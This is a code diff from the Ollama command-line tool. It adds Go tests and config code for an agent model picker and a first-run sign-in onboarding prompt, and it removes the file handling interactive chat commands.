func modelOptionNames(options []agentchat.ModelOption) []string {
|
||||
names := make([]string, 0, len(options))
|
||||
for _, option := range options {
|
||||
names = append(names, option.Name)
|
||||
}
|
||||
return names
|
||||
}
|
||||
+603
-518
File diff suppressed because it is too large.
Load diff
@@ -2,6 +2,9 @@ package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
@@ -9,12 +12,14 @@ import (
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/launch"
|
||||
"github.com/ollama/ollama/cmd/tui"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
)
|
||||
|
||||
func setCmdTestHome(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
t.Setenv("HOME", dir)
|
||||
t.Setenv("USERPROFILE", dir)
|
||||
envconfig.ReloadServerConfig()
|
||||
}
|
||||
|
||||
func unexpectedRunModelResolution(t *testing.T) func(context.Context, launch.RunModelRequest) (string, error) {
|
||||
@@ -41,6 +46,277 @@ func unexpectedModelLaunch(t *testing.T) func(*cobra.Command, string) error {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunAgentModelPickerUsesSavedModelWhenAvailable(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
if err := config.SetAgentSignInPromptSeen(true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var gotReq launch.RunModelRequest
|
||||
var launched string
|
||||
prefetchedAccount := &launch.AccountState{}
|
||||
accountUpdates := func(context.Context) <-chan *launch.AccountState { return nil }
|
||||
deps := agentModelPickerDeps{
|
||||
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
|
||||
gotReq = req
|
||||
return "qwen3:8b", nil
|
||||
},
|
||||
runModel: func(cmd *cobra.Command, model string) error {
|
||||
launched = model
|
||||
return nil
|
||||
},
|
||||
accountState: func() *launch.AccountState {
|
||||
return prefetchedAccount
|
||||
},
|
||||
accountStateUpdates: accountUpdates,
|
||||
}
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
cmd.SetContext(context.Background())
|
||||
if err := runAgentModelPickerWithDeps(cmd, deps); err != nil {
|
||||
t.Fatalf("runAgentModelPickerWithDeps error: %v", err)
|
||||
}
|
||||
|
||||
if gotReq.ForcePicker {
|
||||
t.Fatal("expected root agent flow to reuse a saved model when available")
|
||||
}
|
||||
if gotReq.AccountState != prefetchedAccount {
|
||||
t.Fatal("expected prefetched account state to be passed to model picker")
|
||||
}
|
||||
if gotReq.AccountStateProvider == nil || gotReq.AccountStateUpdates == nil {
|
||||
t.Fatal("expected account state callbacks to be passed to model picker")
|
||||
}
|
||||
if launched != "qwen3:8b" {
|
||||
t.Fatalf("launched model = %q, want qwen3:8b", launched)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunAgentModelPickerFallsBackToPickerWhenPlanVerificationFails(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
|
||||
var requests []launch.RunModelRequest
|
||||
var launched string
|
||||
deps := agentModelPickerDeps{
|
||||
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
|
||||
requests = append(requests, req)
|
||||
if len(requests) == 1 {
|
||||
return "", launch.ErrPlanVerificationUnavailable
|
||||
}
|
||||
return "llama3.2", nil
|
||||
},
|
||||
runModel: func(cmd *cobra.Command, model string) error {
|
||||
launched = model
|
||||
return nil
|
||||
},
|
||||
accountState: func() *launch.AccountState {
|
||||
return &launch.AccountState{}
|
||||
},
|
||||
}
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
cmd.SetContext(context.Background())
|
||||
if err := runAgentModelPickerWithDeps(cmd, deps); err != nil {
|
||||
t.Fatalf("runAgentModelPickerWithDeps error: %v", err)
|
||||
}
|
||||
|
||||
if len(requests) != 2 {
|
||||
t.Fatalf("resolve calls = %d, want 2", len(requests))
|
||||
}
|
||||
if requests[0].ForcePicker {
|
||||
t.Fatal("first request should try the saved model path")
|
||||
}
|
||||
if !requests[1].ForcePicker {
|
||||
t.Fatal("second request should force the model picker")
|
||||
}
|
||||
if requests[1].AccountStateProvider != nil {
|
||||
t.Fatal("retry should not keep using the stale account-state provider")
|
||||
}
|
||||
if requests[1].AccountState == nil {
|
||||
t.Fatal("retry should pass an explicit unknown account state")
|
||||
}
|
||||
if launched != "llama3.2" {
|
||||
t.Fatalf("launched model = %q, want llama3.2", launched)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunAgentModelPickerReturnsPlanVerificationErrorWhenPickerRetryFails(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
|
||||
var calls int
|
||||
deps := agentModelPickerDeps{
|
||||
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
|
||||
calls++
|
||||
return "", launch.ErrPlanVerificationUnavailable
|
||||
},
|
||||
runModel: unexpectedModelLaunch(t),
|
||||
}
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
cmd.SetContext(context.Background())
|
||||
err := runAgentModelPickerWithDeps(cmd, deps)
|
||||
if !errors.Is(err, launch.ErrPlanVerificationUnavailable) {
|
||||
t.Fatalf("error = %v, want ErrPlanVerificationUnavailable", err)
|
||||
}
|
||||
if calls != 2 {
|
||||
t.Fatalf("resolve calls = %d, want 2", calls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMaybeRunAgentOnboarding(t *testing.T) {
|
||||
t.Run("prompts once and saves seen state", func(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
oldPrompt := agentOnboardingPrompt
|
||||
oldSignedIn := agentOnboardingSignedInStatus
|
||||
t.Cleanup(func() {
|
||||
agentOnboardingPrompt = oldPrompt
|
||||
agentOnboardingSignedInStatus = oldSignedIn
|
||||
})
|
||||
|
||||
var prompts int
|
||||
agentOnboardingPrompt = func() (bool, error) {
|
||||
prompts++
|
||||
return false, nil
|
||||
}
|
||||
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
|
||||
return false, true
|
||||
}
|
||||
|
||||
signIn, err := maybeRunAgentOnboarding(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("maybeRunAgentOnboarding error: %v", err)
|
||||
}
|
||||
if signIn {
|
||||
t.Fatal("signIn = true, want false")
|
||||
}
|
||||
if prompts != 1 {
|
||||
t.Fatalf("prompts = %d, want 1", prompts)
|
||||
}
|
||||
if !config.AgentSignInPromptSeen() {
|
||||
t.Fatal("expected onboarding state to be saved")
|
||||
}
|
||||
|
||||
signIn, err = maybeRunAgentOnboarding(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("second maybeRunAgentOnboarding error: %v", err)
|
||||
}
|
||||
if signIn {
|
||||
t.Fatal("second signIn = true, want false")
|
||||
}
|
||||
if prompts != 1 {
|
||||
t.Fatalf("prompt should not run again, prompts = %d", prompts)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("skips prompt when already signed in", func(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
oldPrompt := agentOnboardingPrompt
|
||||
oldSignedIn := agentOnboardingSignedInStatus
|
||||
t.Cleanup(func() {
|
||||
agentOnboardingPrompt = oldPrompt
|
||||
agentOnboardingSignedInStatus = oldSignedIn
|
||||
})
|
||||
|
||||
var prompts int
|
||||
agentOnboardingPrompt = func() (bool, error) {
|
||||
prompts++
|
||||
return false, nil
|
||||
}
|
||||
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
|
||||
return true, true
|
||||
}
|
||||
|
||||
signIn, err := maybeRunAgentOnboarding(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("maybeRunAgentOnboarding error: %v", err)
|
||||
}
|
||||
if signIn {
|
||||
t.Fatal("signIn = true, want false")
|
||||
}
|
||||
if prompts != 0 {
|
||||
t.Fatalf("prompts = %d, want 0", prompts)
|
||||
}
|
||||
if !config.AgentSignInPromptSeen() {
|
||||
t.Fatal("expected onboarding state to be saved")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("skips prompt when signed-in check is unknown", func(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
oldPrompt := agentOnboardingPrompt
|
||||
oldSignedIn := agentOnboardingSignedInStatus
|
||||
t.Cleanup(func() {
|
||||
agentOnboardingPrompt = oldPrompt
|
||||
agentOnboardingSignedInStatus = oldSignedIn
|
||||
})
|
||||
|
||||
var prompts int
|
||||
agentOnboardingPrompt = func() (bool, error) {
|
||||
prompts++
|
||||
return false, nil
|
||||
}
|
||||
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
|
||||
return false, false
|
||||
}
|
||||
|
||||
signIn, err := maybeRunAgentOnboarding(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("maybeRunAgentOnboarding error: %v", err)
|
||||
}
|
||||
if signIn {
|
||||
t.Fatal("signIn = true, want false")
|
||||
}
|
||||
if prompts != 0 {
|
||||
t.Fatalf("prompts = %d, want 0", prompts)
|
||||
}
|
||||
if config.AgentSignInPromptSeen() {
|
||||
t.Fatal("unknown auth state should not save onboarding state")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("cancel does not save seen state", func(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
oldPrompt := agentOnboardingPrompt
|
||||
oldSignedIn := agentOnboardingSignedInStatus
|
||||
t.Cleanup(func() {
|
||||
agentOnboardingPrompt = oldPrompt
|
||||
agentOnboardingSignedInStatus = oldSignedIn
|
||||
})
|
||||
|
||||
agentOnboardingPrompt = func() (bool, error) {
|
||||
return false, tui.ErrCancelled
|
||||
}
|
||||
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
|
||||
return false, true
|
||||
}
|
||||
|
||||
_, err := maybeRunAgentOnboarding(context.Background())
|
||||
if !errors.Is(err, launch.ErrCancelled) {
|
||||
t.Fatalf("error = %v, want launch.ErrCancelled", err)
|
||||
}
|
||||
if config.AgentSignInPromptSeen() {
|
||||
t.Fatal("cancel should not save onboarding state")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestRunAgentOnboardingSignInEmptyWhoamiDoesNotSilentlySucceed(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/me" {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_, _ = w.Write([]byte(`{}`))
|
||||
}))
|
||||
defer server.Close()
|
||||
t.Setenv("OLLAMA_HOST", server.URL)
|
||||
|
||||
err := runAgentOnboardingSignIn(context.Background())
|
||||
if !errors.Is(err, errAgentOnboardingNotSignedIn) {
|
||||
t.Fatalf("error = %v, want errAgentOnboardingNotSignedIn", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
|
||||
+901
-209
File diff suppressed because it is too large.
Load diff
@@ -19,6 +19,14 @@ type integration struct {
|
||||
Onboarded bool `json:"onboarded,omitempty"`
|
||||
}
|
||||
|
||||
type onboarding struct {
|
||||
Agent *agentOnboarding `json:"agent,omitempty"`
|
||||
}
|
||||
|
||||
type agentOnboarding struct {
|
||||
SignInPromptSeen bool `json:"sign_in_prompt_seen,omitempty"`
|
||||
}
|
||||
|
||||
// IntegrationConfig is the persisted config for one integration.
|
||||
type IntegrationConfig = integration
|
||||
|
||||
@@ -26,6 +34,7 @@ type config struct {
|
||||
Integrations map[string]*integration `json:"integrations"`
|
||||
LastModel string `json:"last_model,omitempty"`
|
||||
LastSelection string `json:"last_selection,omitempty"` // "run" or integration name
|
||||
Onboarding *onboarding `json:"onboarding,omitempty"`
|
||||
}
|
||||
|
||||
func configPath() (string, error) {
|
||||
@@ -230,6 +239,34 @@ func SetLastSelection(selection string) error {
|
||||
return save(cfg)
|
||||
}
|
||||
|
||||
// AgentSignInPromptSeen reports whether the root agent sign-in onboarding prompt
|
||||
// has already been shown.
|
||||
func AgentSignInPromptSeen() bool {
|
||||
cfg, err := load()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return cfg.Onboarding != nil &&
|
||||
cfg.Onboarding.Agent != nil &&
|
||||
cfg.Onboarding.Agent.SignInPromptSeen
|
||||
}
|
||||
|
||||
// SetAgentSignInPromptSeen persists the root agent sign-in onboarding prompt state.
|
||||
func SetAgentSignInPromptSeen(seen bool) error {
|
||||
cfg, err := load()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if cfg.Onboarding == nil {
|
||||
cfg.Onboarding = &onboarding{}
|
||||
}
|
||||
if cfg.Onboarding.Agent == nil {
|
||||
cfg.Onboarding.Agent = &agentOnboarding{}
|
||||
}
|
||||
cfg.Onboarding.Agent.SignInPromptSeen = seen
|
||||
return save(cfg)
|
||||
}
|
||||
|
||||
// LoadIntegration returns the saved config for one integration.
|
||||
func LoadIntegration(appName string) (*integration, error) {
|
||||
cfg, err := load()
|
||||
|
||||
@@ -302,6 +302,36 @@ func TestLoad(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentSignInPromptSeen(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
if AgentSignInPromptSeen() {
|
||||
t.Fatal("new config should not have agent sign-in onboarding marked seen")
|
||||
}
|
||||
|
||||
if err := SetAgentSignInPromptSeen(true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !AgentSignInPromptSeen() {
|
||||
t.Fatal("agent sign-in onboarding seen state was not saved")
|
||||
}
|
||||
|
||||
path, err := configPath()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(data), `"onboarding"`) ||
|
||||
!strings.Contains(string(data), `"agent"`) ||
|
||||
!strings.Contains(string(data), `"sign_in_prompt_seen": true`) {
|
||||
t.Fatalf("config does not include onboarding state: %s", data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMigrateConfig(t *testing.T) {
|
||||
t.Run("migrates legacy file to new location", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
@@ -1,735 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"cmp"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
"github.com/ollama/ollama/internal/modelref"
|
||||
"github.com/ollama/ollama/readline"
|
||||
"github.com/ollama/ollama/types/errtypes"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
type MultilineState int
|
||||
|
||||
const (
|
||||
MultilineNone MultilineState = iota
|
||||
MultilinePrompt
|
||||
MultilineSystem
|
||||
)
|
||||
|
||||
func generateInteractive(cmd *cobra.Command, opts runOptions) error {
|
||||
usage := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available Commands:")
|
||||
fmt.Fprintln(os.Stderr, " /set Set session variables")
|
||||
fmt.Fprintln(os.Stderr, " /show Show model information")
|
||||
fmt.Fprintln(os.Stderr, " /load <model> Load a session or model")
|
||||
fmt.Fprintln(os.Stderr, " /save <model> Save your current session")
|
||||
fmt.Fprintln(os.Stderr, " /clear Clear session context")
|
||||
fmt.Fprintln(os.Stderr, " /bye Exit")
|
||||
fmt.Fprintln(os.Stderr, " /?, /help Help for a command")
|
||||
fmt.Fprintln(os.Stderr, " /? shortcuts Help for keyboard shortcuts")
|
||||
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
fmt.Fprintln(os.Stderr, "Use \"\"\" to begin a multi-line message.")
|
||||
|
||||
if opts.MultiModal {
|
||||
fmt.Fprintf(os.Stderr, "Use %s to include .jpg, .png, .webp images, or .wav audio files.\n", filepath.FromSlash("/path/to/file"))
|
||||
}
|
||||
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
usageSet := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available Commands:")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter ... Set a parameter")
|
||||
fmt.Fprintln(os.Stderr, " /set system <string> Set system message")
|
||||
fmt.Fprintln(os.Stderr, " /set history Enable history")
|
||||
fmt.Fprintln(os.Stderr, " /set nohistory Disable history")
|
||||
fmt.Fprintln(os.Stderr, " /set wordwrap Enable wordwrap")
|
||||
fmt.Fprintln(os.Stderr, " /set nowordwrap Disable wordwrap")
|
||||
fmt.Fprintln(os.Stderr, " /set format json Enable JSON mode")
|
||||
fmt.Fprintln(os.Stderr, " /set noformat Disable formatting")
|
||||
fmt.Fprintln(os.Stderr, " /set verbose Show LLM stats")
|
||||
fmt.Fprintln(os.Stderr, " /set quiet Disable LLM stats")
|
||||
fmt.Fprintln(os.Stderr, " /set think Enable thinking")
|
||||
fmt.Fprintln(os.Stderr, " /set nothink Disable thinking")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
usageShortcuts := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available keyboard shortcuts:")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + a Move to the beginning of the line (Home)")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + e Move to the end of the line (End)")
|
||||
fmt.Fprintln(os.Stderr, " Alt + b Move back (left) one word")
|
||||
fmt.Fprintln(os.Stderr, " Alt + f Move forward (right) one word")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + k Delete the sentence after the cursor")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + u Delete the sentence before the cursor")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + w Delete the word before the cursor")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + l Clear the screen")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + g Open default editor to compose a prompt")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + c Stop the model from responding")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + d Exit ollama (/bye)")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
usageShow := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available Commands:")
|
||||
fmt.Fprintln(os.Stderr, " /show info Show details for this model")
|
||||
fmt.Fprintln(os.Stderr, " /show license Show model license")
|
||||
fmt.Fprintln(os.Stderr, " /show modelfile Show Modelfile for this model")
|
||||
fmt.Fprintln(os.Stderr, " /show parameters Show parameters for this model")
|
||||
fmt.Fprintln(os.Stderr, " /show system Show system message")
|
||||
fmt.Fprintln(os.Stderr, " /show template Show prompt template")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
// only list out the most common parameters
|
||||
usageParameters := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available Parameters:")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter seed <int> Random number seed")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter num_predict <int> Max number of tokens to predict")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter top_k <int> Pick from top k num of tokens")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter top_p <float> Pick token based on sum of probabilities")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter min_p <float> Pick token based on top token probability * min_p")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter num_ctx <int> Set the context size")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter temperature <float> Set creativity level")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter repeat_penalty <float> How strongly to penalize repetitions")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter repeat_last_n <int> Set how far back to look for repetitions")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter num_gpu <int> The number of layers to send to the GPU")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter stop <string> <string> ... Set the stop parameters")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
scanner, err := readline.New(readline.Prompt{
|
||||
Prompt: ">>> ",
|
||||
AltPrompt: "... ",
|
||||
Placeholder: "Send a message (/? for help)",
|
||||
AltPlaceholder: "Press Enter to send",
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if envconfig.NoHistory() {
|
||||
scanner.HistoryDisable()
|
||||
}
|
||||
|
||||
fmt.Print(readline.StartBracketedPaste)
|
||||
defer fmt.Printf(readline.EndBracketedPaste)
|
||||
|
||||
var sb strings.Builder
|
||||
var multiline MultilineState
|
||||
var thinkExplicitlySet bool = opts.Think != nil
|
||||
|
||||
for {
|
||||
line, err := scanner.Readline()
|
||||
switch {
|
||||
case errors.Is(err, io.EOF):
|
||||
fmt.Println()
|
||||
return nil
|
||||
case errors.Is(err, readline.ErrInterrupt):
|
||||
if line == "" {
|
||||
fmt.Println("\nUse Ctrl + d or /bye to exit.")
|
||||
}
|
||||
|
||||
scanner.Prompt.UseAlt = false
|
||||
sb.Reset()
|
||||
|
||||
continue
|
||||
case errors.Is(err, readline.ErrEditPrompt):
|
||||
sb.Reset()
|
||||
content, err := editInExternalEditor(line)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "error: %v\n", err)
|
||||
continue
|
||||
}
|
||||
if strings.TrimSpace(content) == "" {
|
||||
continue
|
||||
}
|
||||
scanner.Prefill = content
|
||||
continue
|
||||
case err != nil:
|
||||
return err
|
||||
}
|
||||
|
||||
switch {
|
||||
case multiline != MultilineNone:
|
||||
// check if there's a multiline terminating string
|
||||
before, ok := strings.CutSuffix(line, `"""`)
|
||||
sb.WriteString(before)
|
||||
if !ok {
|
||||
fmt.Fprintln(&sb)
|
||||
scanner.Prompt.UseAlt = true
|
||||
continue
|
||||
}
|
||||
|
||||
switch multiline {
|
||||
case MultilineSystem:
|
||||
opts.System = sb.String()
|
||||
opts.Messages = append(opts.Messages, api.Message{Role: "system", Content: opts.System})
|
||||
fmt.Println("Set system message.")
|
||||
sb.Reset()
|
||||
}
|
||||
|
||||
multiline = MultilineNone
|
||||
scanner.Prompt.UseAlt = false
|
||||
case strings.HasPrefix(line, `"""`):
|
||||
line := strings.TrimPrefix(line, `"""`)
|
||||
line, ok := strings.CutSuffix(line, `"""`)
|
||||
sb.WriteString(line)
|
||||
if !ok {
|
||||
// no multiline terminating string; need more input
|
||||
fmt.Fprintln(&sb)
|
||||
multiline = MultilinePrompt
|
||||
scanner.Prompt.UseAlt = true
|
||||
}
|
||||
case scanner.Pasting:
|
||||
fmt.Fprintln(&sb, line)
|
||||
continue
|
||||
case strings.HasPrefix(line, "/list"):
|
||||
args := strings.Fields(line)
|
||||
if err := ListHandler(cmd, args[1:]); err != nil {
|
||||
return err
|
||||
}
|
||||
case strings.HasPrefix(line, "/load"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) != 2 {
|
||||
fmt.Println("Usage:\n /load <modelname>")
|
||||
continue
|
||||
}
|
||||
origOpts := opts.Copy()
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
fmt.Println("error: couldn't connect to ollama server")
|
||||
return err
|
||||
}
|
||||
|
||||
opts.Model = args[1]
|
||||
opts.Messages = []api.Message{}
|
||||
opts.LoadedMessages = nil
|
||||
fmt.Printf("Loading model '%s'\n", opts.Model)
|
||||
info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: opts.Model})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "not found") {
|
||||
fmt.Printf("Couldn't find model '%s'\n", opts.Model)
|
||||
opts = origOpts.Copy()
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
applyShowResponseToRunOptions(&opts, info)
|
||||
opts.Think, err = inferThinkingOption(&info.Capabilities, &opts, thinkExplicitlySet)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := loadOrUnloadModel(cmd, &opts); err != nil {
|
||||
if strings.Contains(err.Error(), "not found") {
|
||||
fmt.Printf("Couldn't find model '%s'\n", opts.Model)
|
||||
opts = origOpts.Copy()
|
||||
continue
|
||||
}
|
||||
if strings.Contains(err.Error(), "does not support thinking") {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
continue
|
||||
case strings.HasPrefix(line, "/save"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) != 2 {
|
||||
fmt.Println("Usage:\n /save <modelname>")
|
||||
continue
|
||||
}
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
fmt.Println("error: couldn't connect to ollama server")
|
||||
return err
|
||||
}
|
||||
|
||||
req := NewCreateRequest(args[1], opts)
|
||||
fn := func(resp api.ProgressResponse) error { return nil }
|
||||
err = client.Create(cmd.Context(), req, fn)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), errtypes.InvalidModelNameErrMsg) {
|
||||
fmt.Printf("error: The model name '%s' is invalid\n", args[1])
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
fmt.Printf("Created new model '%s'\n", args[1])
|
||||
continue
|
||||
case strings.HasPrefix(line, "/clear"):
|
||||
opts.Messages = []api.Message{}
|
||||
if opts.System != "" {
|
||||
newMessage := api.Message{Role: "system", Content: opts.System}
|
||||
opts.Messages = append(opts.Messages, newMessage)
|
||||
}
|
||||
fmt.Println("Cleared session context")
|
||||
continue
|
||||
case strings.HasPrefix(line, "/set"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) > 1 {
|
||||
switch args[1] {
|
||||
case "history":
|
||||
scanner.HistoryEnable()
|
||||
case "nohistory":
|
||||
scanner.HistoryDisable()
|
||||
case "wordwrap":
|
||||
opts.WordWrap = true
|
||||
fmt.Println("Set 'wordwrap' mode.")
|
||||
case "nowordwrap":
|
||||
opts.WordWrap = false
|
||||
fmt.Println("Set 'nowordwrap' mode.")
|
||||
case "verbose":
|
||||
if err := cmd.Flags().Set("verbose", "true"); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("Set 'verbose' mode.")
|
||||
case "quiet":
|
||||
if err := cmd.Flags().Set("verbose", "false"); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("Set 'quiet' mode.")
|
||||
case "think":
|
||||
thinkValue := api.ThinkValue{Value: true}
|
||||
var maybeLevel string
|
||||
if len(args) > 2 {
|
||||
maybeLevel = args[2]
|
||||
}
|
||||
if maybeLevel != "" {
|
||||
// TODO(drifkin): validate the level, could be model dependent
|
||||
// though... It will also be validated on the server once a call is
|
||||
// made.
|
||||
thinkValue.Value = maybeLevel
|
||||
}
|
||||
opts.Think = &thinkValue
|
||||
thinkExplicitlySet = true
|
||||
if client, err := api.ClientFromEnvironment(); err == nil {
|
||||
ensureThinkingSupport(cmd.Context(), client, opts.Model)
|
||||
}
|
||||
if maybeLevel != "" {
|
||||
fmt.Printf("Set 'think' mode to '%s'.\n", maybeLevel)
|
||||
} else {
|
||||
fmt.Println("Set 'think' mode.")
|
||||
}
|
||||
case "nothink":
|
||||
opts.Think = &api.ThinkValue{Value: false}
|
||||
thinkExplicitlySet = true
|
||||
if client, err := api.ClientFromEnvironment(); err == nil {
|
||||
ensureThinkingSupport(cmd.Context(), client, opts.Model)
|
||||
}
|
||||
fmt.Println("Set 'nothink' mode.")
|
||||
case "format":
|
||||
if len(args) < 3 || args[2] != "json" {
|
||||
fmt.Println("Invalid or missing format. For 'json' mode use '/set format json'")
|
||||
} else {
|
||||
opts.Format = args[2]
|
||||
fmt.Printf("Set format to '%s' mode.\n", args[2])
|
||||
}
|
||||
case "noformat":
|
||||
opts.Format = ""
|
||||
fmt.Println("Disabled format.")
|
||||
case "parameter":
|
||||
if len(args) < 4 {
|
||||
usageParameters()
|
||||
continue
|
||||
}
|
||||
params := args[3:]
|
||||
fp, err := api.FormatParams(map[string][]string{args[2]: params})
|
||||
if err != nil {
|
||||
fmt.Printf("Couldn't set parameter: %q\n", err)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("Set parameter '%s' to '%s'\n", args[2], strings.Join(params, ", "))
|
||||
opts.Options[args[2]] = fp[args[2]]
|
||||
case "system":
|
||||
if len(args) < 3 {
|
||||
usageSet()
|
||||
continue
|
||||
}
|
||||
|
||||
multiline = MultilineSystem
|
||||
|
||||
line := strings.Join(args[2:], " ")
|
||||
line, ok := strings.CutPrefix(line, `"""`)
|
||||
if !ok {
|
||||
multiline = MultilineNone
|
||||
} else {
|
||||
// only cut suffix if the line is multiline
|
||||
line, ok = strings.CutSuffix(line, `"""`)
|
||||
if ok {
|
||||
multiline = MultilineNone
|
||||
}
|
||||
}
|
||||
|
||||
sb.WriteString(line)
|
||||
if multiline != MultilineNone {
|
||||
scanner.Prompt.UseAlt = true
|
||||
continue
|
||||
}
|
||||
|
||||
opts.System = sb.String() // for display in modelfile
|
||||
newMessage := api.Message{Role: "system", Content: sb.String()}
|
||||
// Check if the slice is not empty and the last message is from 'system'
|
||||
if len(opts.Messages) > 0 && opts.Messages[len(opts.Messages)-1].Role == "system" {
|
||||
// Replace the last message
|
||||
opts.Messages[len(opts.Messages)-1] = newMessage
|
||||
} else {
|
||||
opts.Messages = append(opts.Messages, newMessage)
|
||||
}
|
||||
fmt.Println("Set system message.")
|
||||
sb.Reset()
|
||||
continue
|
||||
default:
|
||||
fmt.Printf("Unknown command '/set %s'. Type /? for help\n", args[1])
|
||||
}
